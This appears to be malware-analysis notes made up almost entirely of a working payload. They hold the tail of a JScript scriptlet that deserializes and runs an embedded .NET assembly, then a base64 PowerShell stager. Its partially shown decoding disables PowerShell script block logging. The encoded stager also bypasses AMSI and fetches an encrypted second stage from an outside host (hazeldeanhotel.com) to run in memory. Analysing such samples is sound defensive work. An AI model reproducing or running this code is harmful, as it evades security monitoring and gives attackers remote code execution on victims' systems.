"AEEAZAB3AEIAagBBAEMANABBAFMAQQBCAEYAQQBHAEUAQQBSAEEAQgBsAEEARgBJAEEAVQB3AEEA"+ "dQBBAEUARQBBAFoAQQBCAEUAQQBDAGcAQQBKAHcAQgBWAEEASABNAEEAWgBRAEIAeQBBAEMAMABB"+ "AFEAUQBCAG4AQQBHAFUAQQBiAGcAQgAwAEEAQwBjAEEATABBAEEAawBBAEgAVQBBAEsAUQBBADcA"+ "QQBDAFEAQQBkAHcAQgBEAEEAQwA0AEEAVQBBAEIAeQBBAEUAOABBAFcAQQBCADUAQQBEADAAQQBX"+ "AHcAQgBUAEEARgBrAEEAYwB3AEIAMABBAEcAVQBBAFQAUQBBAHUAQQBFADQAQQBSAFEAQgAwAEEA"+ "QwA0AEEAVgB3AEIARgBBAEcASQBBAFUAZwBCAEYAQQBIAEUAQQBWAFEAQgBGAEEASABNAEEAVgBB"+ "AEIAZABBAEQAbwBBAE8AZwBCAEUAQQBHAFUAQQBaAGcAQgBCAEEARgBVAEEAVABBAEIAMABBAEYA"+ "YwBBAFoAUQBCAEMAQQBGAEEAQQBVAGcAQgBQAEEARgBnAEEAVwBRAEEANwBBAEMAUQBBAFYAdwBC"+ "AEQAQQBDADQAQQBVAEEAQgBTAEEARwA4AEEAVwBBAEIANQBBAEMANABBAFEAdwBCAHkAQQBFAFUA"+ "QQBSAEEAQgBsAEEARwA0AEEAZABBAEIAcABBAEUARQBBAGIAQQBCAHoAQQBDAEEAQQBQAFEAQQBn"+ "AEEARgBzAEEAVQB3AEIAWgBBAEYATQBBAGQAQQBCAGwAQQBHADAAQQBMAGcAQgBPAEEARQBVAEEA"+ "VgBBAEEAdQBBAEUATQBBAFUAZwBCAEYAQQBHAFEAQQBSAFEAQgBPAEEARgBRAEEAYQBRAEIAaABB"+ "AEcAdwBBAFEAdwBCAGgAQQBHAE0AQQBhAEEAQgBGAEEARgAwAEEATwBnAEEANgBBAEUAUQBBAFIA"+ "UQBCAEcAQQBFAEUAQQBWAFEAQgBNAEEARgBRAEEAVABnAEIARgBBAEgAUQBBAFYAdwBCAFAAQQBI"+ "AEkAQQBTAHcAQgBEAEEARgBJAEEAWgBRAEIARQBBAEUAVQBBAFQAZwBCADAAQQBFAGsAQQBZAFEA"+ "QgBNAEEASABNAEEATwB3AEEAawBBAEYATQBBAFkAdwBCAHkAQQBHAGsAQQBjAEEAQgAwAEEARABv"+ "AEEAVQBBAEIAeQBBAEcAOABBAGUAQQBCADUAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAZAB3AEIA"+ "agBBAEMANABBAFUAQQBCAHkAQQBHADgAQQBlAEEAQgA1AEEARABzAEEASgBBAEIATABBAEQAMABB"+ "AFcAdwBCAFQAQQBIAGsAQQBjAHcAQgBVAEEARQBVAEEAVABRAEEAdQBBAEYAUQBBAFoAUQBCAFkA"+ "QQBIAFEAQQBMAGcAQgBGAEEARQA0AEEAWQB3AEIAdgBBAEcAUQBBAFMAUQBCAHUAQQBFAGMAQQBY"+ "AFEAQQA2AEEARABvAEEAUQBRAEIAVABBAEUATQBBAFMAUQBCAEoAQQBDADQAQQBSAHcAQgBGAEEA"+ "SABRAEEAUQBnAEIANQBBAEgAUQBBAFIAUQBCAHoAQQBDAGcAQQBKAHcAQQA1AEEARgAwAEEAWgBR"+ "AEIAUABBAEUATQBBAGMAUQBCADEAQQBDAGcAQQBWAFEAQgBBAEEARQAwAEEAUQBnAEIAKwBBAEQA"+ "VQBBAE4AQQBCAGEAQQBGAGcAQQBWAGcAQgByAEEARgBRAEEAYwBnAEIARgBBAEUARQBBAFAAdwBC"+ "ADQAQQBEADAAQQBPAHcAQgBKAEEARABZAEEAWgBBAEIAOQBBAEUAZwBBAEoAdwBBAHAAQQBEAHMA"+ "QQBKAEEAQgBTAEEARAAwAEEAZQB3AEEAawBBAEUAUQBBAEwAQQBBAGsAQQBFAHMAQQBQAFEAQQBr"+ "AEEARQBFAEEAVQBnAEIASABBAEYATQBBAE8AdwBBAGsAQQBGAE0AQQBQAFEAQQB3AEEAQwA0AEEA"+ "TABnAEEAeQBBAEQAVQBBAE4AUQBBADcAQQBEAEEAQQBMAGcAQQB1AEEARABJAEEATgBRAEEAMQBB"+ "AEgAdwBBAEoAUQBCADcAQQBDAFEAQQBTAGcAQQA5AEEAQwBnAEEASgBBAEIASwBBAEMAcwBBAEoA"+ "QQBCAFQAQQBGAHMAQQBKAEEAQgBmAEEARgAwAEEASwB3AEEAawBBAEUAcwBBAFcAdwBBAGsAQQBG"+ "ADgAQQBKAFEAQQBrAEEARQBzAEEATABnAEIARABBAEUAOABBAFYAUQBCAHUAQQBIAFEAQQBYAFEA"+ "QQBwAEEAQwBVAEEATQBnAEEAMQBBAEQAWQBBAE8AdwBBAGsAQQBGAE0AQQBXAHcAQQBrAEEARgA4"+ "AEEAWABRAEEAcwBBAEMAUQBBAFUAdwBCAGIAQQBDAFEAQQBTAGcAQgBkAEEARAAwAEEASgBBAEIA"+ "VABBAEYAcwBBAEoAQQBCAEsAQQBGADAAQQBMAEEAQQBrAEEARgBNAEEAVwB3AEEAawBBAEYAOABB"+ "AFgAUQBCADkAQQBEAHMAQQBKAEEAQgBFAEEASAB3AEEASgBRAEIANwBBAEMAUQBBAFMAUQBBADkA"+ "QQBDAGcAQQBKAEEAQgBKAEEAQwBzAEEATQBRAEEAcABBAEMAVQBBAE0AZwBBADEAQQBEAFkAQQBP"+ "AHcAQQBrAEEARQBnAEEAUABRAEEAbwBBAEMAUQBBAFMAQQBBAHIAQQBDAFEAQQBVAHcAQgBiAEEA"+ "QwBRAEEAUwBRAEIAZABBAEMAawBBAEoAUQBBAHkAQQBEAFUAQQBOAGcAQQA3AEEAQwBRAEEAVQB3"+ "AEIAYgBBAEMAUQBBAFMAUQBCAGQAQQBDAHcAQQBKAEEAQgBUAEEARgBzAEEASgBBAEIASQBBAEYA"+ "MABBAFAAUQBBAGsAQQBGAE0AQQBXAHcAQQBrAEEARQBnAEEAWABRAEEAcwBBAEMAUQBBAFUAdwBC"+ "AGIAQQBDAFEAQQBTAFEAQgBkAEEARABzAEEASgBBAEIAZgBBAEMAMABBAFEAZwBCAFkAQQBFADgA"+ "QQBVAGcAQQBrAEEARgBNAEEAVwB3AEEAbwBBAEMAUQBBAFUAdwBCAGIAQQBDAFEAQQBTAFEAQgBk"+ "AEEAQwBzAEEASgBBAEIAVABBAEYAcwBBAEoAQQBCAEkAQQBGADAAQQBLAFEAQQBsAEEARABJAEEA"+ "TgBRAEEAMgBBAEYAMABBAGYAUQBCADkAQQBEAHMAQQBKAEEAQgB6AEEARwBVAEEAYwBnAEEAOQBB"+ "AEMAYwBBAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEgAYwBBAGQA"+ "dwBCADMAQQBDADQAQQBhAEEAQgBoAEEASABvAEEAWgBRAEIAcwBBAEcAUQBBAFoAUQBCAGgAQQBH"+ "ADQAQQBhAEEAQgB2AEEASABRAEEAWgBRAEIAcwBBAEMANABBAFkAdwBCAHYAQQBHADAAQQBPAGcA"+ "QQAwAEEARABRAEEATQB3AEEAbgBBAEQAcwBBAEoAQQBCADAAQQBEADAAQQBKAHcAQQB2AEEASABJ"+ "AEEAWgBRAEIAegBBAEgAUQBBAFkAUQBCADEAQQBIAEkAQQBZAFEAQgB1AEEASABRAEEAYwB3AEEA"+ "dABBAEcAawBBAGIAZwBBAHQAQQBHAE0AQQBaAFEAQgB1AEEASABRAEEAWgBRAEIAeQBBAEMAMABB"+ "AFkAdwBCAHAAQQBIAFEAQQBlAFEAQQB0AEEASABBAEEAYQBBAEIAcABBAEcAdwBBAFkAUQBCAGsA"+ "QQBHAFUAQQBiAEEAQgB3AEEARwBnAEEAYQBRAEIAaABBAEMAOABBAEoAdwBBADcAQQBDAFEAQQBW"+ "AHcAQgBqAEEAQwA0AEEAUwBBAEIAbABBAEcARQBBAFIAQQBCAGwAQQBIAEkAQQBVAHcAQQB1AEEA"+ "RQBFAEEAWgBBAEIARQBBAEMAZwBBAEkAZwBCAEQAQQBHADgAQQBiAHcAQgByAEEARwBrAEEAWgBR"+ "AEEAaQBBAEMAdwBBAEkAZwBCAHoAQQBHAFUAQQBjAHcAQgB6AEEARwBrAEEAYgB3AEIAdQBBAEQA"+ "MABBAFQAUQBCAHIAQQBHADgAQQBiAFEAQgBOAEEARQBVAEEAVAB3AEIAUABBAEcAZwBBAGQAZwBC"+ "AGgAQQBFAHMAQQBkAFEAQQB6AEEARABNAEEAVgBBAEEAdwBBAEgAWQBBAFYAQQBCAEIAQQBHAFUA"+ "QQBSAGcAQgBZAEEASABFAEEAWgBBAEIAdABBAEUARQBBAFAAUQBBAGkAQQBDAGsAQQBPAHcAQQBr"+ "AEEARQBRAEEAWQBRAEIAVQBBAEUARQBBAFAAUQBBAGsAQQBGAGMAQQBRAHcAQQB1AEEARQBRAEEA"+ "YgB3AEIAMwBBAEUANABBAFQAQQBCAFAAQQBHAEUAQQBSAEEAQgBFAEEARQBFAEEAVgBBAEIAQgBB"+ "AEMAZwBBAEoAQQBCAHoAQQBFAFUAQQBVAGcAQQByAEEAQwBRAEEAVgBBAEEAcABBAEQAcwBBAEoA"+ "QQBCAEoAQQBGAFkAQQBQAFEAQQBrAEEARQBRAEEAUQBRAEIAVQBBAEUARQBBAFcAdwBBAHcAQQBD"+ "ADQAQQBMAGcAQQB6AEEARgAwAEEATwB3AEEAawBBAEUAUQBBAFkAUQBCADAAQQBHAEUAQQBQAFEA"+ "QQBrAEEARQBRAEEAUQBRAEIAVQBBAEUARQBBAFcAdwBBADAAQQBDADQAQQBMAGcAQQBrAEEARwBR"+ "AEEAWQBRAEIAMABBAEUARQBBAEwAZwBCAHMAQQBHAFUAQQBiAGcAQgBIAEEASABRAEEAYQBBAEIA"+ "ZABBAEQAcwBBAEwAUQBCAEsAQQBFADgAQQBTAFEAQgB1AEEARgBzAEEAUQB3AEIAbwBBAEcARQBB"+ "AFUAZwBCAGIAQQBGADAAQQBYAFEAQQBvAEEAQwBZAEEASQBBAEEAawBBAEYASQBBAEkAQQBBAGsA"+ "QQBFAFEAQQBZAFEAQgBVAEEARwBFAEEASQBBAEEAbwBBAEMAUQBBAFMAUQBCAFcAQQBDAHMAQQBK"+ "AEEAQgBMAEEAQwBrAEEASwBRAEIAOABBAEUAawBBAFIAUQBCAFkAQQBBAD0APQAAFU8AdQB0AC0A"+ "UwB0AHIAaQBuAGcAAQAAWaAjQTKIuEicR+fa9cSpxQAEIAEBCAMgAAEFIAEBEREEIAEBDgQgAQEC"+ "AwcBDgQAABJRBQABHQUOBSABDh0FDgcEEkESRRUSSQESTRJNBAAAEkEFIAEBEkEEIAASYQQgABJl"+ "CCAAFRJpARJNBhUSaQESTQggABUSSQETAAYVEkkBEk0EIAATAAUgARJFHAMgAAIDIAAOCLd6XFYZ"+ "NOCJCDG/OFatNk41BAABDg4IAQAIAAAAAAAeAQABAFQCFldyYXBOb25FeGNlcHRpb25UaHJvd3MB"+ "CAEAAgAAAAAAFAEAD0V4YW1wbGVBc3NlbWJseQAAKQEAJEV4YW1wbGUgQXNzZW1ibHkgZm9yIERv"+ "dE5ldFRvSlNjcmlwdAAABQEAAAAAJAEAH0NvcHlyaWdodCDCqSBKYW1lcyBGb3JzaGF3IDIwMTcA"+ "ACkBACQ1NjU5OGYxYy02ZDg4LTQ5OTQtYTM5Mi1hZjMzN2FiZTU3NzcAAAwBAAcxLjAuMC4wAAAF"+ "AQABAAAAAAAAAAAAPQyBWgAAAAACAAAAHAEAAEBRAABAMwAAUlNEUzDA62KAsgJCnI71Nuvx4DkB"+ "AAAAQzpcVXNlcnNcZGF2aWRccmVwb3NcRG90TmV0VG9KU2NyaXB0XEV4YW1wbGVBc3NlbWJseVxv"+ "YmpcUmVsZWFzZVxFeGFtcGxlQXNzZW1ibHkucGRiAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACEUgAAAAAAAAAAAACeUgAAACAAAAAA"+ "AAAAAAAAAAAAAAAAAAAAAAAAkFIAAAAAAAAAAAAAAABfQ29yRGxsTWFpbgBtc2NvcmVlLmRsbAAA"+ "AAAA/yUAIAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ "AAAAAAAAAAAAAAAAAAEAEAAAABgAAIAAAAAAAAAAAAAAAAAAAAEAAQAAADAAAIAAAAAAAAAAAAAA"+ "AAAAAAEAAAAAAEgAAABYYAAAsAMAAAAAAAAAAAAAsAM0AAAAVgBTAF8AVgBFAFIAUwBJAE8ATgBf"+ "AEkATgBGAE8AAAAAAL0E7/4AAAEAAAABAAAAAAAAAAEAAAAAAD8AAAAAAAAABAAAAAIAAAAAAAAA"+ "AAAAAAAAAABEAAAAAQBWAGEAcgBGAGkAbABlAEkAbgBmAG8AAAAAACQABAAAAFQAcgBhAG4AcwBs"+ "AGEAdABpAG8AbgAAAAAAAACwBBADAAABAFMAdAByAGkAbgBnAEYAaQBsAGUASQBuAGYAbwAAAOwC"+ "AAABADAAMAAwADAAMAA0AGIAMAAAAGIAJQABAEMAbwBtAG0AZQBuAHQAcwAAAEUAeABhAG0AcABs"+ "AGUAIABBAHMAcwBlAG0AYgBsAHkAIABmAG8AcgAgAEQAbwB0AE4AZQB0AFQAbwBKAFMAYwByAGkA"+ "cAB0AAAAAAAiAAEAAQBDAG8AbQBwAGEAbgB5AE4AYQBtAGUAAAAAAAAAAABIABAAAQBGAGkAbABl"+ "AEQAZQBzAGMAcgBpAHAAdABpAG8AbgAAAAAARQB4AGEAbQBwAGwAZQBBAHMAcwBlAG0AYgBsAHkA"+ "AAAwAAgAAQBGAGkAbABlAFYAZQByAHMAaQBvAG4AAAAAADEALgAwAC4AMAAuADAAAABIABQAAQBJ"+ "AG4AdABlAHIAbgBhAGwATgBhAG0AZQAAAEUAeABhAG0AcABsAGUAQQBzAHMAZQBtAGIAbAB5AC4A"+ "ZABsAGwAAABiAB8AAQBMAGUAZwBhAGwAQwBvAHAAeQByAGkAZwBoAHQAAABDAG8AcAB5AHIAaQBn"+ "AGgAdAAgAKkAIABKAGEAbQBlAHMAIABGAG8AcgBzAGgAYQB3ACAAMgAwADEANwAAAAAAKgABAAEA"+ "TABlAGcAYQBsAFQAcgBhAGQAZQBtAGEAcgBrAHMAAAAAAAAAAABQABQAAQBPAHIAaQBnAGkAbgBh"+ "AGwARgBpAGwAZQBuAGEAbQBlAAAARQB4AGEAbQBwAGwAZQBBAHMAcwBlAG0AYgBsAHkALgBkAGwA"+ "bAAAAEAAEAABAFAAcgBvAGQAdQBjAHQATgBhAG0AZQAAAAAARQB4AGEAbQBwAGwAZQBBAHMAcwBl"+ "AG0AYgBsAHkAAAA0AAgAAQBQAHIAbwBkAHUAYwB0AFYAZQByAHMAaQBvAG4AAAAxAC4AMAAuADAA"+ "LgAwAAAAOAAIAAEAQQBzAHMAZQBtAGIAbAB5ACAAVgBlAHIAcwBpAG8AbgAAADEALgAwAC4AMAAu"+ "ADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAUAAA"+ "DAAAALAyAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+ "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAENAAAA"+ "BAAAAAkXAAAACQYAAAAJFgAAAAYaAAAAJ1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5IExvYWQo"+ "Qnl0ZVtdKQgAAAAKCwAA"; var entry_class = 'TestClass'; try { setversion(); var stm = base64ToStream(serialized_obj); var fmt = new ActiveXObject('System.Runtime.Serialization.Formatters.Binary.BinaryFormatter'); var al = new ActiveXObject('System.Collections.ArrayList'); var d = fmt.Deserialize_2(stm); al.Add(undefined); var o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class); } catch (e) { debug(e.message); }]]></script> </registration> </component> </package> | |
| ## serialized code contains B64 blob: | |
| SQBmACgAJABQAFMAVgBFAHIAcwBJAE8ATgBUAGEAYgBsAEUALgBQAFMAVgBFAFIAUwBJAE8ATgAuAE0AQQBKAG8AcgAgAC0ARwBlACAAMwApAHsAJABHAFAARgA9AFsAcgBFAEYAXQAuAEEAUwBTAGUATQBiAGwAWQAuAEcARQB0AFQAeQBQAEUAKAAnAFMAeQBzAHQAZQBtAC4ATQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgBVAHQAaQBsAHMAJwApAC4AIgBHAGUAdABGAGkARQBgAEwAZAAiACgAJwBjAGEAYwBoAGUAZABHAHIAbwB1AHAAUABvAGwAaQBjAHkAUwBlAHQAdABpAG4AZwBzACcALAAnAE4AJwArACcAbwBuAFAAdQBiAGwAaQBjACwAUwB0AGEAdABpAGMAJwApADsASQBGACgAJABHAFAARgApAHsAJABHAFAAQwA9ACQARwBQAEYALgBHAGUAVABWAEEAbABVAGUAKAAkAE4AdQBMAEwAKQA7AEkARgAoACQARwBQAEMAWwAnAFMAYwByAGkAcAB0AEIAJwArACcAbABvAGMAawBMAG8AZwBnAGkAbgBnACcAXQApAHsAJABHAFAAQwBbACcAUwBjAHIAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBuAGcAJwBdAFsAJwBFAG4AYQBiAGwAZQBTAGMAcgBpAHAAdABCACcAKwAnAGwAbwBjAGsATABvAGcAZwBpAG4AZwAnAF0APQAwADsAJABHAFAAQwBbACcAUwBjAHIAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBuAGcAJwBdAFsAJwBFAG4AYQBiAGwAZQBTAGMAcgBpAHAAdABCAGwAbwBjAGsASQBuAHYAbwBjAGEAdABpAG8AbgBMAG8AZwBnAGkAbgBnACcAXQA9ADAAfQAkAFYAQQBsAD0AWwBDAE8AbABsAGUAYwBUAGkATwBOAHMALgBHAGUATgBFAHIAaQBjAC4ARABJAGMAVABpAE8ATgBhAFIAWQBbAFMAdABSAEkAbgBHACwAUwB5AFMAVABlAG0ALgBPAGIAagBFAGMAVABdAF0AOgA6AE4AZQBXACgAKQA7ACQAVgBhAEwALgBBAGQARAAoACcARQBuAGEAYgBsAGUAUwBjAHIAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBuAGcAJwAsADAAKQA7ACQAVgBBAEwALgBBAEQAZAAoACcARQBuAGEAYgBsAGUAUwBjAHIAaQBwAHQAQgBsAG8AYwBrAEkAbgB2AG8AYwBhAHQAaQBvAG4ATABvAGcAZwBpAG4AZwAnACwAMAApADsAJABHAFAAQwBbACcASABLAEUAWQBfAEwATwBDAEEATABfAE0AQQBDAEgASQBOAEUAXABTAG8AZgB0AHcAYQByAGUAXABQAG8AbABpAGMAaQBlAHMAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABQAG8AdwBlAHIAUwBoAGUAbABsAFwAUwBjAHIAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBuAGcAJwBdAD0AJABWAGEAbAB9AEUATABTAGUAewBbAFMAQwBSAGkAcABUAEIAbABvAEMASwBdAC4AIgBHAGUAVABGAEkARQBgAEwAZAAiACgAJwBzAGkAZwBuAGEAdAB1AHIAZQBzACcALAAnAE4AJwArACcAbwBuAFAAdQBiAGwAaQBjACwAUwB0AGEAdABpAGMAJwApAC4AUwBlAHQAVgBBAEwAdQBlACgAJABuAFUAbABsACwAKABOAEUAdwAtAE8AQgBqAEUAQwB0ACAAQwBvAEwATABFAEMAVABpAE8AbgBTAC4ARwBlAG4ARQByAEkAYwAuAEgAQQBzAEgAUwBlAHQAWwBzAHQAcgBpAE4ARwBdACkAKQB9AFsAUgBFAGYAXQAuAEEAUwBTAEUATQBCAGwAWQAuAEcAZQBUAFQAWQBQAGUAKAAnAFMAeQBzAHQAZQBtAC4ATQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgBBAG0AcwBpAFUAdABpAGwAcwAnACkAfAA/AHsAJABfAH0AfAAlAHsAJABfAC4ARwBFAHQARgBpAGUATABkACgAJwBhAG0AcwBpAEkAbgBpAHQARgBhAGkAbABlAGQAJwAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkALgBTAGUAdABWAGEATABVAGUAKAAkAG4AdQBsAGwALAAkAHQAUgBVAGUAKQB9ADsAfQA7AFsAUwB5AFMAdABlAE0ALgBOAEUAdAAuAFMARQBSAHYASQBjAGUAUABvAGkAbgB0AE0AQQBOAEEAZwBFAFIAXQA6ADoARQB4AHAARQBDAHQAMQAwADAAQwBPAG4AdABpAE4AVQBlAD0AMAA7ACQAVwBjAD0ATgBFAHcALQBPAEIAagBlAEMAVAAgAFMAeQBzAHQARQBNAC4ATgBFAHQALgBXAEUAQgBDAEwAaQBlAE4AVAA7ACQAdQA9ACcATQBvAHoAaQBsAGwAYQAvADUALgAwACAAKABXAGkAbgBkAG8AdwBzACAATgBUACAANgAuADMAOwAgAFQAcgBpAGQAZQBuAHQALwA3AC4AMAA7ACAAcgB2ADoAMQAxAC4AMAApACAAbABpAGsAZQAgAEcAZQBjAGsAbwAnADsAWwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgBTAGUAcgB2AGUAcgBDAGUAcgB0AGkAZgBpAGMAYQB0AGUAVgBhAGwAaQBkAGEAdABpAG8AbgBDAGEAbABsAGIAYQBjAGsAIAA9ACAAewAkAHQAcgB1AGUAfQA7ACQAdwBjAC4ASABFAGEARABlAFIAUwAuAEEAZABEACgAJwBVAHMAZQByAC0AQQBnAGUAbgB0ACcALAAkAHUAKQA7ACQAdwBDAC4AUAByAE8AWAB5AD0AWwBTAFkAcwB0AGUATQAuAE4ARQB0AC4AVwBFAGIAUgBFAHEAVQBFAHMAVABdADoAOgBEAGUAZgBBAFUATAB0AFcAZQBCAFAAUgBPAFgAWQA7ACQAVwBDAC4AUABSAG8AWAB5AC4AQwByAEUARABlAG4AdABpAEEAbABzACAAPQAgAFsAUwBZAFMAdABlAG0ALgBOAEUAVAAuAEMAUgBFAGQARQBOAFQAaQBhAGwAQwBhAGMAaABFAF0AOgA6AEQARQBGAEEAVQBMAFQATgBFAHQAVwBPAHIASwBDAFIAZQBEAEUATgB0AEkAYQBMAHMAOwAkAFMAYwByAGkAcAB0ADoAUAByAG8AeAB5ACAAPQAgACQAdwBjAC4AUAByAG8AeAB5ADsAJABLAD0AWwBTAHkAcwBUAEUATQAuAFQAZQBYAHQALgBFAE4AYwBvAGQASQBuAEcAXQA6ADoAQQBTAEMASQBJAC4ARwBFAHQAQgB5AHQARQBzACgAJwA5AF0AZQBPAEMAcQB1ACgAVQBAAE0AQgB+ADUANABaAFgAVgBrAFQAcgBFAEEAPwB4AD0AOwBJADYAZAB9AEgAJwApADsAJABSAD0AewAkAEQALAAkAEsAPQAkAEEAUgBHAFMAOwAkAFMAPQAwAC4ALgAyADUANQA7ADAALgAuADIANQA1AHwAJQB7ACQASgA9ACgAJABKACsAJABTAFsAJABfAF0AKwAkAEsAWwAkAF8AJQAkAEsALgBDAE8AVQBuAHQAXQApACUAMgA1ADYAOwAkAFMAWwAkAF8AXQAsACQAUwBbACQASgBdAD0AJABTAFsAJABKAF0ALAAkAFMAWwAkAF8AXQB9ADsAJABEAHwAJQB7ACQASQA9ACgAJABJACsAMQApACUAMgA1ADYAOwAkAEgAPQAoACQASAArACQAUwBbACQASQBdACkAJQAyADUANgA7ACQAUwBbACQASQBdACwAJABTAFsAJABIAF0APQAkAFMAWwAkAEgAXQAsACQAUwBbACQASQBdADsAJABfAC0AQgBYAE8AUgAkAFMAWwAoACQAUwBbACQASQBdACsAJABTAFsAJABIAF0AKQAlADIANQA2AF0AfQB9ADsAJABzAGUAcgA9ACcAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AaABhAHoAZQBsAGQAZQBhAG4AaABvAHQAZQBsAC4AYwBvAG0AOgA0ADQAMwAnADsAJAB0AD0AJwAvAHIAZQBzAHQAYQB1AHIAYQBuAHQAcwAtAGkAbgAtAGMAZQBuAHQAZQByAC0AYwBpAHQAeQAtAHAAaABpAGwAYQBkAGUAbABwAGgAaQBhAC8AJwA7ACQAVwBjAC4ASABlAGEARABlAHIAUwAuAEEAZABEACgAIgBDAG8AbwBrAGkAZQAiACwAIgBzAGUAcwBzAGkAbwBuAD0ATQBrAG8AbQBNAEUATwBPAGgAdgBhAEsAdQAzADMAVAAwAHYAVABBAGUARgBYAHEAZABtAEEAPQAiACkAOwAkAEQAYQBUAEEAPQAkAFcAQwAuAEQAbwB3AE4ATABPAGEARABEAEEAVABBACgAJABzAEUAUgArACQAVAApADsAJABJAFYAPQAkAEQAQQBUAEEAWwAwAC4ALgAzAF0AOwAkAEQAYQB0AGEAPQAkAEQAQQBUAEEAWwA0AC4ALgAkAGQAYQB0AEEALgBsAGUAbgBHAHQAaABdADsALQBKAE8ASQBuAFsAQwBoAGEAUgBbAF0AXQAoACYAIAAkAFIAIAAkAEQAYQBUAGEAIAAoACQASQBWACsAJABLACkAKQB8AEkARQBYAA== | |
| ## which decodes to: | |
| If($PSVErsIONTablE.PSVERSION.MAJor - Ge 3) { | |
| $GPF = [rEF].ASSeMblY.GEtTyPE('System.Management.Automation.Utils'). | |
| "GetFiE`Ld" ('cachedGroupPolicySettings', 'N' + 'onPublic,Static'); | |
| IF($GPF) { | |
| $GPC = $GPF.GeTVAlUe($NuLL); | |
| IF($GPC['ScriptB' + 'lockLogging']) { | |
| $GPC['ScriptB' + 'lockLogging']['EnableScriptB' + 'lockLogging'] = 0; | |
| $GPC['ScriptB' + 'lockLogging']['EnableScriptBlockInvocationLogging'] = 0 | |
| } | |
